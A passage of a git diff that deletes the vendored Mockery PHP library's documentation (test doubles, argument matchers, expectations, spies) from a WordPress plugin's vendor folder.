``class_exists`` and related functions being case insensitive. - Using the ``::class`` keyword in PHP can help you avoid these mistakes. - -The gotchas noted above are largely down to PHP's architecture and are assumed -to be unavoidable. But - if you figure out a solution (or a better one than -what may exist), let us know! diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/mockery/index.rst b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/mockery/index.rst deleted file mode 100644 index b698d6cb..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/mockery/index.rst +++ /dev/null @@ -1,12 +0,0 @@ -Mockery -======= - -.. toctree:: - :hidden: - - configuration - exceptions - reserved_method_names - gotchas - -.. include:: map.rst.inc diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/mockery/map.rst.inc b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/mockery/map.rst.inc deleted file mode 100644 index 46ffa975..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/mockery/map.rst.inc +++ /dev/null @@ -1,4 +0,0 @@ -* :doc:`/mockery/configuration` -* :doc:`/mockery/exceptions` -* :doc:`/mockery/reserved_method_names` -* :doc:`/mockery/gotchas` diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/mockery/reserved_method_names.rst b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/mockery/reserved_method_names.rst deleted file mode 100644 index 5ad58d40..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/mockery/reserved_method_names.rst +++ /dev/null @@ -1,33 +0,0 @@ -.. index:: - single: Reserved Method Names - -Reserved Method Names -===================== - -As you may have noticed, Mockery uses a number of methods called directly on -all mock objects, for example ``shouldReceive()``. Such methods are necessary -in order to setup expectations on the given mock, and so they cannot be -implemented on the classes or objects being mocked without creating a method -name collision (reported as a PHP fatal error). The methods reserved by -Mockery are: - -* ``shouldReceive()`` -* ``shouldNotReceive()`` -* ``allows()`` -* ``expects()`` -* ``shouldAllowMockingMethod()`` -* ``shouldIgnoreMissing()`` -* ``asUndefined()`` -* ``shouldAllowMockingProtectedMethods()`` -* ``makePartial()`` -* ``byDefault()`` -* ``shouldHaveReceived()`` -* ``shouldHaveBeenCalled()`` -* ``shouldNotHaveReceived()`` -* ``shouldNotHaveBeenCalled()`` - - -In addition, all mocks utilise a set of added methods and protected properties -which cannot exist on the class or object being mocked. These are far less -likely to cause collisions. All properties are prefixed with ``_mockery`` and -all method names with ``mockery_``. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/alternative_should_receive_syntax.rst b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/alternative_should_receive_syntax.rst deleted file mode 100644 index 78c1e83c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/alternative_should_receive_syntax.rst +++ /dev/null @@ -1,91 +0,0 @@ -.. index:: - single: Alternative shouldReceive Syntax - -Alternative shouldReceive Syntax -================================ - -As of Mockery 1.0.0, we support calling methods as we would call any PHP method, -and not as string arguments to Mockery ``should*`` methods. - -The two Mockery methods that enable this are ``allows()`` and ``expects()``. - -Allows ------- - -We use ``allows()`` when we create stubs for methods that return a predefined -return value, but for these method stubs we don't care how many times, or if at -all, were they called. - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - $mock->allows([ - 'name_of_method_1' => 'return value', - 'name_of_method_2' => 'return value', - ]); - -This is equivalent with the following ``shouldReceive`` syntax: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - $mock->shouldReceive([ - 'name_of_method_1' => 'return value', - 'name_of_method_2' => 'return value', - ]); - -Note that with this format, we also tell Mockery that we don't care about the -arguments to the stubbed methods. - -If we do care about the arguments, we would do it like so: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - $mock->allows() - ->name_of_method_1($arg1) - ->andReturn('return value'); - -This is equivalent with the following ``shouldReceive`` syntax: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - $mock->shouldReceive('name_of_method_1') - ->with($arg1) - ->andReturn('return value'); - -Expects -------- - -We use ``expects()`` when we want to verify that a particular method was called: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - $mock->expects() - ->name_of_method_1($arg1) - ->andReturn('return value'); - -This is equivalent with the following ``shouldReceive`` syntax: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - $mock->shouldReceive('name_of_method_1') - ->once() - ->with($arg1) - ->andReturn('return value'); - -By default ``expects()`` sets up an expectation that the method should be called -once and once only. If we expect more than one call to the method, we can change -that expectation: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - $mock->expects() - ->name_of_method_1($arg1) - ->twice() - ->andReturn('return value'); - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/argument_validation.rst b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/argument_validation.rst deleted file mode 100644 index 9351ce40..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/argument_validation.rst +++ /dev/null @@ -1,338 +0,0 @@ -.. index:: - single: Argument Validation - -Argument Validation -=================== - -The arguments passed to the ``with()`` declaration when setting up an -expectation determine the criteria for matching method calls to expectations. -Thus, we can setup up many expectations for a single method, each -differentiated by the expected arguments. Such argument matching is done on a -"best fit" basis. This ensures explicit matches take precedence over -generalised matches. - -An explicit match is merely where the expected argument and the actual -argument are easily equated (i.e. using ``===`` or ``==``). More generalised -matches are possible using regular expressions, class hinting and the -available generic matchers. The purpose of generalised matchers is to allow -arguments be defined in non-explicit terms, e.g. ``Mockery::any()`` passed to -``with()`` will match **any** argument in that position. - -Mockery's generic matchers do not cover all possibilities but offers optional -support for the Hamcrest library of matchers. Hamcrest is a PHP port of the -similarly named Java library (which has been ported also to Python, Erlang, -etc). By using Hamcrest, Mockery does not need to duplicate Hamcrest's already -impressive utility which itself promotes a natural English DSL. - -The examples below show Mockery matchers and their Hamcrest equivalent, if there -is one. Hamcrest uses functions (no namespacing). - -.. note:: - - If you don't wish to use the global Hamcrest functions, they are all exposed - through the ``\Hamcrest\Matchers`` class as well, as static methods. Thus, - ``identicalTo($arg)`` is the same as ``\Hamcrest\Matchers::identicalTo($arg)`` - -The most common matcher is the ``with()`` matcher: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - $mock->shouldReceive('foo') - ->with(1): - -It tells mockery that it should receive a call to the ``foo`` method with the -integer ``1`` as an argument. In cases like this, Mockery first tries to match -the arguments using ``===`` (identical) comparison operator. If the argument is -a primitive, and if it fails the identical comparison, Mockery does a fallback -to the ``==`` (equals) comparison operator. - -When matching objects as arguments, Mockery only does the strict ``===`` -comparison, which means only the same ``$object`` will match: - -.. code-block:: php - - $object = new stdClass(); - $mock = \Mockery::mock('MyClass'); - $mock->shouldReceive("foo") - ->with($object); - - // Hamcrest equivalent - $mock->shouldReceive("foo") - ->with(identicalTo($object)); - -A different instance of ``stdClass`` will **not** match. - -.. note:: - - The ``Mockery\Matcher\MustBe`` matcher has been deprecated. - -If we need a loose comparison of objects, we can do that using Hamcrest's -``equalTo`` matcher: - -.. code-block:: php - - $mock->shouldReceive("foo") - ->with(equalTo(new stdClass)); - -In cases when we don't care about the type, or the value of an argument, just -that any argument is present, we use ``any()``: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - $mock->shouldReceive("foo") - ->with(\Mockery::any()); - - // Hamcrest equivalent - $mock->shouldReceive("foo") - ->with(anything()) - -Anything and everything passed in this argument slot is passed unconstrained. - -Validating Types and Resources ------------------------------- - -The ``type()`` matcher accepts any string which can be attached to ``is_`` to -form a valid type check. - -To match any PHP resource, we could do the following: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - $mock->shouldReceive("foo") - ->with(\Mockery::type('resource')); - - // Hamcrest equivalents - $mock->shouldReceive("foo") - ->with(resourceValue()); - $mock->shouldReceive("foo") - ->with(typeOf('resource')); - -It will return a ``true`` from an ``is_resource()`` call, if the provided -argument to the method is a PHP resource. For example, ``\Mockery::type('float')`` -or Hamcrest's ``floatValue()`` and ``typeOf('float')`` checks use ``is_float()``, -and ``\Mockery::type('callable')`` or Hamcrest's ``callable()`` uses -``is_callable()``. - -The ``type()`` matcher also accepts a class or interface name to be used in an -``instanceof`` evaluation of the actual argument. Hamcrest uses ``anInstanceOf()``. - -A full list of the type checkers is available at -`php.net `_ or browse Hamcrest's function -list in -`the Hamcrest code `_. - -.. _argument-validation-complex-argument-validation: - -Complex Argument Validation ---------------------------- - -If we want to perform a complex argument validation, the ``on()`` matcher is -invaluable. It accepts a closure (anonymous function) to which the actual -argument will be passed. - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - $mock->shouldReceive("foo") - ->with(\Mockery::on(closure)); - -If the closure evaluates to (i.e. returns) boolean ``true`` then the argument is -assumed to have matched the expectation. - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - - $mock->shouldReceive('foo') - ->with(\Mockery::on(function ($argument) { - if ($argument % 2 == 0) { - return true; - } - return false; - })); - - $mock->foo(4); // matches the expectation - $mock->foo(3); // throws a NoMatchingExpectationException - -.. note:: - - There is no Hamcrest version of the ``on()`` matcher. - -We can also perform argument validation by passing a closure to ``withArgs()`` -method. The closure will receive all arguments passed in the call to the expected -method and if it evaluates (i.e. returns) to boolean ``true``, then the list of -arguments is assumed to have matched the expectation: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - $mock->shouldReceive("foo") - ->withArgs(closure); - -The closure can also handle optional parameters, so if an optional parameter is -missing in the call to the expected method, it doesn't necessary means that the -list of arguments doesn't match the expectation. - -.. code-block:: php - - $closure = function ($odd, $even, $sum = null) { - $result = ($odd % 2 != 0) && ($even % 2 == 0); - if (!is_null($sum)) { - return $result && ($odd + $even == $sum); - } - return $result; - }; - - $mock = \Mockery::mock('MyClass'); - $mock->shouldReceive('foo')->withArgs($closure); - - $mock->foo(1, 2); // It matches the expectation: the optional argument is not needed - $mock->foo(1, 2, 3); // It also matches the expectation: the optional argument pass the validation - $mock->foo(1, 2, 4); // It doesn't match the expectation: the optional doesn't pass the validation - -.. note:: - - In previous versions, Mockery's ``with()`` would attempt to do a pattern - matching against the arguments, attempting to use the argument as a - regular expression. Over time this proved to be not such a great idea, so - we removed this functionality, and have introduced ``Mockery::pattern()`` - instead. - -If we would like to match an argument against a regular expression, we can use -the ``\Mockery::pattern()``: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - $mock->shouldReceive('foo') - ->with(\Mockery::pattern('/^foo/')); - - // Hamcrest equivalent - $mock->shouldReceive('foo') - ->with(matchesPattern('/^foo/')); - -The ``ducktype()`` matcher is an alternative to matching by class type: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - $mock->shouldReceive('foo') - ->with(\Mockery::ducktype('foo', 'bar')); - -It matches any argument which is an object containing the provided list of -methods to call. - -.. note:: - - There is no Hamcrest version of the ``ducktype()`` matcher. - -Capturing Arguments -------------------- - -If we want to perform multiple validations on a single argument, the ``capture`` -matcher provides a streamlined alternative to using the ``on()`` matcher. -It accepts a variable which the actual argument will be assigned. - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - $mock->shouldReceive("foo") - ->with(\Mockery::capture($bar)); - -This will assign *any* argument passed to ``foo`` to the local ``$bar`` variable to -then perform additional validation using assertions. - -.. note:: - - The ``capture`` matcher always evaluates to ``true``. As such, we should always - perform additional argument validation. - -Additional Argument Matchers ----------------------------- - -The ``not()`` matcher matches any argument which is not equal or identical to -the matcher's parameter: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - $mock->shouldReceive('foo') - ->with(\Mockery::not(2)); - - // Hamcrest equivalent - $mock->shouldReceive('foo') - ->with(not(2)); - -``anyOf()`` matches any argument which equals any one of the given parameters: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - $mock->shouldReceive('foo') - ->with(\Mockery::anyOf(1, 2)); - - // Hamcrest equivalent - $mock->shouldReceive('foo') - ->with(anyOf(1,2)); - -``notAnyOf()`` matches any argument which is not equal or identical to any of -the given parameters: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - $mock->shouldReceive('foo') - ->with(\Mockery::notAnyOf(1, 2)); - -.. note:: - - There is no Hamcrest version of the ``notAnyOf()`` matcher. - -``subset()`` matches any argument which is any array containing the given array -subset: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - $mock->shouldReceive('foo') - ->with(\Mockery::subset(array(0 => 'foo'))); - -This enforces both key naming and values, i.e. both the key and value of each -actual element is compared. - -.. note:: - - There is no Hamcrest version of this functionality, though Hamcrest can check - a single entry using ``hasEntry()`` or ``hasKeyValuePair()``. - -``contains()`` matches any argument which is an array containing the listed -values: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - $mock->shouldReceive('foo') - ->with(\Mockery::contains(value1, value2)); - -The naming of keys is ignored. - -``hasKey()`` matches any argument which is an array containing the given key -name: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - $mock->shouldReceive('foo') - ->with(\Mockery::hasKey(key)); - -``hasValue()`` matches any argument which is an array containing the given -value: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - $mock->shouldReceive('foo') - ->with(\Mockery::hasValue(value)); diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/creating_test_doubles.rst b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/creating_test_doubles.rst deleted file mode 100644 index b675514b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/creating_test_doubles.rst +++ /dev/null @@ -1,435 +0,0 @@ -.. index:: - single: Reference; Creating Test Doubles - -Creating Test Doubles -===================== - -Mockery's main goal is to help us create test doubles. It can create stubs, -mocks, and spies. - -Stubs and mocks are created the same. The difference between the two is that a -stub only returns a preset result when called, while a mock needs to have -expectations set on the method calls it expects to receive. - -Spies are a type of test doubles that keep track of the calls they received, and -allow us to inspect these calls after the fact. - -When creating a test double object, we can pass in an identifier as a name for -our test double. If we pass it no identifier, the test double name will be -unknown. Furthermore, the identifier does not have to be a class name. It is a -good practice, and our recommendation, to always name the test doubles with the -same name as the underlying class we are creating test doubles for. - -If the identifier we use for our test double is a name of an existing class, -the test double will inherit the type of the class (via inheritance), i.e. the -mock object will pass type hints or ``instanceof`` evaluations for the existing -class. This is useful when a test double must be of a specific type, to satisfy -the expectations our code has. - -Stubs and mocks ---------------- - -Stubs and mocks are created by calling the ``\Mockery::mock()`` method. The -following example shows how to create a stub, or a mock, object named "foo": - -.. code-block:: php - - $mock = \Mockery::mock('foo'); - -The mock object created like this is the loosest form of mocks possible, and is -an instance of ``\Mockery\MockInterface``. - -.. note:: - - All test doubles created with Mockery are an instance of - ``\Mockery\MockInterface``, regardless are they a stub, mock or a spy. - -To create a stub or a mock object with no name, we can call the ``mock()`` -method with no parameters: - -.. code-block:: php - - $mock = \Mockery::mock(); - -As we stated earlier, we don't recommend creating stub or mock objects without -a name. - -Classes, abstracts, interfaces -^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ - -The recommended way to create a stub or a mock object is by using a name of -an existing class we want to create a test double of: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - -This stub or mock object will have the type of ``MyClass``, through inheritance. - -Stub or mock objects can be based on any concrete class, abstract class or even -an interface. The primary purpose is to ensure the mock object inherits a -specific type for type hinting. - -.. code-block:: php - - $mock = \Mockery::mock('MyInterface'); - -This stub or mock object will implement the ``MyInterface`` interface. - -.. note:: - - Classes marked final, or classes that have methods marked final cannot be - mocked fully. Mockery supports creating partial mocks for these cases. - Partial mocks will be explained later in the documentation. - -Mockery also supports creating stub or mock objects based on a single existing -class, which must implement one or more interfaces. We can do this by providing -a comma-separated list of the class and interfaces as the first argument to the -``\Mockery::mock()`` method: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass, MyInterface, OtherInterface'); - -This stub or mock object will now be of type ``MyClass`` and implement the -``MyInterface`` and ``OtherInterface`` interfaces. - -.. note:: - - The class name doesn't need to be the first member of the list but it's a - friendly convention to use for readability. - -We can tell a mock to implement the desired interfaces by passing the list of -interfaces as the second argument: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass', 'MyInterface, OtherInterface'); - -For all intents and purposes, this is the same as the previous example. - -Spies ------ - -The third type of test doubles Mockery supports are spies. The main difference -between spies and mock objects is that with spies we verify the calls made -against our test double after the calls were made. We would use a spy when we -don't necessarily care about all of the calls that are going to be made to an -object. - -A spy will return ``null`` for all method calls it receives. It is not possible -to tell a spy what will be the return value of a method call. If we do that, then -we would deal with a mock object, and not with a spy. - -We create a spy by calling the ``\Mockery::spy()`` method: - -.. code-block:: php - - $spy = \Mockery::spy('MyClass'); - -Just as with stubs or mocks, we can tell Mockery to base a spy on any concrete -or abstract class, or to implement any number of interfaces: - -.. code-block:: php - - $spy = \Mockery::spy('MyClass, MyInterface, OtherInterface'); - -This spy will now be of type ``MyClass`` and implement the ``MyInterface`` and -``OtherInterface`` interfaces. - -.. note:: - - The ``\Mockery::spy()`` method call is actually a shorthand for calling - ``\Mockery::mock()->shouldIgnoreMissing()``. The ``shouldIgnoreMissing`` - method is a "behaviour modifier". We'll discuss them a bit later. - -Mocks vs. Spies ---------------- - -Let's try and illustrate the difference between mocks and spies with the -following example: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - $spy = \Mockery::spy('MyClass'); - - $mock->shouldReceive('foo')->andReturn(42); - - $mockResult = $mock->foo(); - $spyResult = $spy->foo(); - - $spy->shouldHaveReceived()->foo(); - - var_dump($mockResult); // int(42) - var_dump($spyResult); // null - -As we can see from this example, with a mock object we set the call expectations -before the call itself, and we get the return result we expect it to return. -With a spy object on the other hand, we verify the call has happened after the -fact. The return result of a method call against a spy is always ``null``. - -We also have a dedicated chapter to :doc:`spies` only. - -.. _creating-test-doubles-partial-test-doubles: - -Partial Test Doubles --------------------- - -Partial doubles are useful when we want to stub out, set expectations for, or -spy on *some* methods of a class, but run the actual code for other methods. - -We differentiate between three types of partial test doubles: - - * runtime partial test doubles, - * generated partial test doubles, and - * proxied partial test doubles. - -Runtime partial test doubles -^^^^^^^^^^^^^^^^^^^^^^^^^^^^ - -What we call a runtime partial, involves creating a test double and then telling -it to make itself partial. Any method calls that the double hasn't been told to -allow or expect, will act as they would on a normal instance of the object. - -.. code-block:: php - - class Foo { - function foo() { return 123; } - function bar() { return $this->foo(); } - } - - $foo = mock(Foo::class)->makePartial(); - $foo->foo(); // int(123); - -We can then tell the test double to allow or expect calls as with any other -Mockery double. - -.. code-block:: php - - $foo->shouldReceive('foo')->andReturn(456); - $foo->bar(); // int(456) - -See the cookbook entry on :doc:`../cookbook/big_parent_class` for an example -usage of runtime partial test doubles. - -Generated partial test doubles -^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ - -The second type of partial double we can create is what we call a generated -partial. With generated partials, we specifically tell Mockery which methods -we want to be able to allow or expect calls to. All other methods will run the -actual code *directly*, so stubs and expectations on these methods will not -work. - -.. code-block:: php - - class Foo { - function foo() { return 123; } - function bar() { return $this->foo(); } - } - - $foo = mock("Foo[foo]"); - - $foo->foo(); // error, no expectation set - - $foo->shouldReceive('foo')->andReturn(456); - $foo->foo(); // int(456) - - // setting an expectation for this has no effect - $foo->shouldReceive('bar')->andReturn(999); - $foo->bar(); // int(456) - -It's also possible to specify explicitly which methods to run directly using -the `!method` syntax: - -.. code-block:: php - - class Foo { - function foo() { return 123; } - function bar() { return $this->foo(); } - } - - $foo = mock("Foo[!foo]"); - - $foo->foo(); // int(123) - - $foo->bar(); // error, no expectation set - -.. note:: - - Even though we support generated partial test doubles, we do not recommend - using them. - - One of the reasons why is because a generated partial will call the original - constructor of the mocked class. This can have unwanted side-effects during - testing application code. - - See :doc:`../cookbook/not_calling_the_constructor` for more details. - -Proxied partial test doubles -^^^^^^^^^^^^^^^^^^^^^^^^^^^^ - -A proxied partial mock is a partial of last resort. We may encounter a class -which is simply not capable of being mocked because it has been marked as -final. Similarly, we may find a class with methods marked as final. In such a -scenario, we cannot simply extend the class and override methods to mock - we -need to get creative. - -.. code-block:: php - - $mock = \Mockery::mock(new MyClass); - -Yes, the new mock is a Proxy. It intercepts calls and reroutes them to the -proxied object (which we construct and pass in) for methods which are not -subject to any expectations. Indirectly, this allows us to mock methods -marked final since the Proxy is not subject to those limitations. The tradeoff -should be obvious - a proxied partial will fail any typehint checks for the -class being mocked since it cannot extend that class. - -.. _creating-test-doubles-aliasing: - -Aliasing --------- - -Prefixing the valid name of a class (which is NOT currently loaded) with -"alias:" will generate an "alias mock". Alias mocks create a class alias with -the given classname to stdClass and are generally used to enable the mocking -of public static methods. Expectations set on the new mock object which refer -to static methods will be used by all static calls to this class. - -.. code-block:: php - - $mock = \Mockery::mock('alias:MyClass'); - - -.. note:: - - Even though aliasing classes is supported, we do not recommend it. - -Overloading ------------ - -Prefixing the valid name of a class (which is NOT currently loaded) with -"overload:" will generate an alias mock (as with "alias:") except that created -new instances of that class will import any expectations set on the origin -mock (``$mock``). The origin mock is never verified since it's used an -expectation store for new instances. For this purpose we use the term "instance -mock" to differentiate it from the simpler "alias mock". - -In other words, an instance mock will "intercept" when a new instance of the -mocked class is created, then the mock will be used instead. This is useful -especially when mocking hard dependencies which will be discussed later. - -.. code-block:: php - - $mock = \Mockery::mock('overload:MyClass'); - -.. note:: - - Using alias/instance mocks across more than one test will generate a fatal - error since we can't have two classes of the same name. To avoid this, - run each test of this kind in a separate PHP process (which is supported - out of the box by both PHPUnit and PHPT). - - -.. _creating-test-doubles-named-mocks: - -Named Mocks ------------ - -The ``namedMock()`` method will generate a class called by the first argument, -so in this example ``MyClassName``. The rest of the arguments are treated in the -same way as the ``mock`` method: - -.. code-block:: php - - $mock = \Mockery::namedMock('MyClassName', 'DateTime'); - -This example would create a class called ``MyClassName`` that extends -``DateTime``. - -Named mocks are quite an edge case, but they can be useful when code depends -on the ``__CLASS__`` magic constant, or when we need two derivatives of an -abstract type, that are actually different classes. - -See the cookbook entry on :doc:`../cookbook/class_constants` for an example -usage of named mocks. - -.. note:: - - We can only create a named mock once, any subsequent calls to - ``namedMock``, with different arguments are likely to cause exceptions. - -.. _creating-test-doubles-constructor-arguments: - -Constructor Arguments ---------------------- - -Sometimes the mocked class has required constructor arguments. We can pass these -to Mockery as an indexed array, as the 2nd argument: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass', [$constructorArg1, $constructorArg2]); - -or if we need the ``MyClass`` to implement an interface as well, as the 3rd -argument: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass', 'MyInterface', [$constructorArg1, $constructorArg2]); - -Mockery now knows to pass in ``$constructorArg1`` and ``$constructorArg2`` as -arguments to the constructor. - -.. _creating-test-doubles-behavior-modifiers: - -Behavior Modifiers ------------------- - -When creating a mock object, we may wish to use some commonly preferred -behaviours that are not the default in Mockery. - -The use of the ``shouldIgnoreMissing()`` behaviour modifier will label this -mock object as a Passive Mock: - -.. code-block:: php - - \Mockery::mock('MyClass')->shouldIgnoreMissing(); - -In such a mock object, calls to methods which are not covered by expectations -will return ``null`` instead of the usual error about there being no expectation -matching the call. - -On PHP >= 7.0.0, methods with missing expectations that have a return type -will return either a mock of the object (if return type is a class) or a -"falsy" primitive value, e.g. empty string, empty array, zero for ints and -floats, false for bools, or empty closures. - -On PHP >= 7.1.0, methods with missing expectations and nullable return type -will return null. - -We can optionally prefer to return an object of type ``\Mockery\Undefined`` -(i.e. a ``null`` object) (which was the 0.7.2 behaviour) by using an -additional modifier: - -.. code-block:: php - - \Mockery::mock('MyClass')->shouldIgnoreMissing()->asUndefined(); - -The returned object is nothing more than a placeholder so if, by some act of -fate, it's erroneously used somewhere it shouldn't, it will likely not pass a -logic check. - -We have encountered the ``makePartial()`` method before, as it is the method we -use to create runtime partial test doubles: - -.. code-block:: php - - \Mockery::mock('MyClass')->makePartial(); - -This form of mock object will defer all methods not subject to an expectation to -the parent class of the mock, i.e. ``MyClass``. Whereas the previous -``shouldIgnoreMissing()`` returned ``null``, this behaviour simply calls the -parent's matching method. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/demeter_chains.rst b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/demeter_chains.rst deleted file mode 100644 index 1dad5eff..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/demeter_chains.rst +++ /dev/null @@ -1,38 +0,0 @@ -.. index:: - single: Mocking; Demeter Chains - -Mocking Demeter Chains And Fluent Interfaces -============================================ - -Both of these terms refer to the growing practice of invoking statements -similar to: - -.. code-block:: php - - $object->foo()->bar()->zebra()->alpha()->selfDestruct(); - -The long chain of method calls isn't necessarily a bad thing, assuming they -each link back to a local object the calling class knows. As a fun example, -Mockery's long chains (after the first ``shouldReceive()`` method) all call to -the same instance of ``\Mockery\Expectation``. However, sometimes this is not -the case and the chain is constantly crossing object boundaries. - -In either case, mocking such a chain can be a horrible task. To make it easier -Mockery supports demeter chain mocking. Essentially, we shortcut through the -chain and return a defined value from the final call. For example, let's -assume ``selfDestruct()`` returns the string "Ten!" to $object (an instance of -``CaptainsConsole``). Here's how we could mock it. - -.. code-block:: php - - $mock = \Mockery::mock('CaptainsConsole'); - $mock->shouldReceive('foo->bar->zebra->alpha->selfDestruct')->andReturn('Ten!'); - -The above expectation can follow any previously seen format or expectation, -except that the method name is simply the string of all expected chain calls -separated by ``->``. Mockery will automatically setup the chain of expected -calls with its final return values, regardless of whatever intermediary object -might be used in the real implementation. - -Arguments to all members of the chain (except the final call) are ignored in -this process. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/expectations.rst b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/expectations.rst deleted file mode 100644 index 4430e978..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/expectations.rst +++ /dev/null @@ -1,533 +0,0 @@ -.. index:: - single: Expectations - -Expectation Declarations -======================== - -.. note:: - - In order for our expectations to work we MUST call ``Mockery::close()``, - preferably in a callback method such as ``tearDown`` or ``_after`` - (depending on whether or not we're integrating Mockery with another - framework). This static call cleans up the Mockery container used by the - current test, and run any verification tasks needed for our expectations. - -Once we have created a mock object, we'll often want to start defining how -exactly it should behave (and how it should be called). This is where the -Mockery expectation declarations take over. - -Declaring Method Call Expectations ----------------------------------- - -To tell our test double to expect a call for a method with a given name, we use -the ``shouldReceive`` method: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - $mock->shouldReceive('name_of_method'); - -This is the starting expectation upon which all other expectations and -constraints are appended. - -We can declare more than one method call to be expected: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - $mock->shouldReceive('name_of_method_1', 'name_of_method_2'); - -All of these will adopt any chained expectations or constraints. - -It is possible to declare the expectations for the method calls, along with -their return values: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - $mock->shouldReceive([ - 'name_of_method_1' => 'return value 1', - 'name_of_method_2' => 'return value 2', - ]); - -There's also a shorthand way of setting up method call expectations and their -return values: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass', ['name_of_method_1' => 'return value 1', 'name_of_method_2' => 'return value 2']); - -All of these will adopt any additional chained expectations or constraints. - -We can declare that a test double should not expect a call to the given method -name: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - $mock->shouldNotReceive('name_of_method'); - -This method is a convenience method for calling ``shouldReceive()->never()``. - -Declaring Method Argument Expectations --------------------------------------- - -For every method we declare expectation for, we can add constraints that the -defined expectations apply only to the method calls that match the expected -argument list: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - $mock->shouldReceive('name_of_method') - ->with($arg1, $arg2, ...); - // or - $mock->shouldReceive('name_of_method') - ->withArgs([$arg1, $arg2, ...]); - -We can add a lot more flexibility to argument matching using the built in -matcher classes (see later). For example, ``\Mockery::any()`` matches any -argument passed to that position in the ``with()`` parameter list. Mockery also -allows Hamcrest library matchers - for example, the Hamcrest function -``anything()`` is equivalent to ``\Mockery::any()``. - -It's important to note that this means all expectations attached only apply to -the given method when it is called with these exact arguments: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - - $mock->shouldReceive('foo')->with('Hello'); - - $mock->foo('Goodbye'); // throws a NoMatchingExpectationException - -This allows for setting up differing expectations based on the arguments -provided to expected calls. - -Argument matching with closures -^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ - -Instead of providing a built-in matcher for each argument, we can provide a -closure that matches all passed arguments at once: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - $mock->shouldReceive('name_of_method') - ->withArgs(closure); - -The given closure receives all the arguments passed in the call to the expected -method. In this way, this expectation only applies to method calls where passed -arguments make the closure evaluate to true: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - - $mock->shouldReceive('foo')->withArgs(function ($arg) { - if ($arg % 2 == 0) { - return true; - } - return false; - }); - - $mock->foo(4); // matches the expectation - $mock->foo(3); // throws a NoMatchingExpectationException - -Argument matching with some of given values 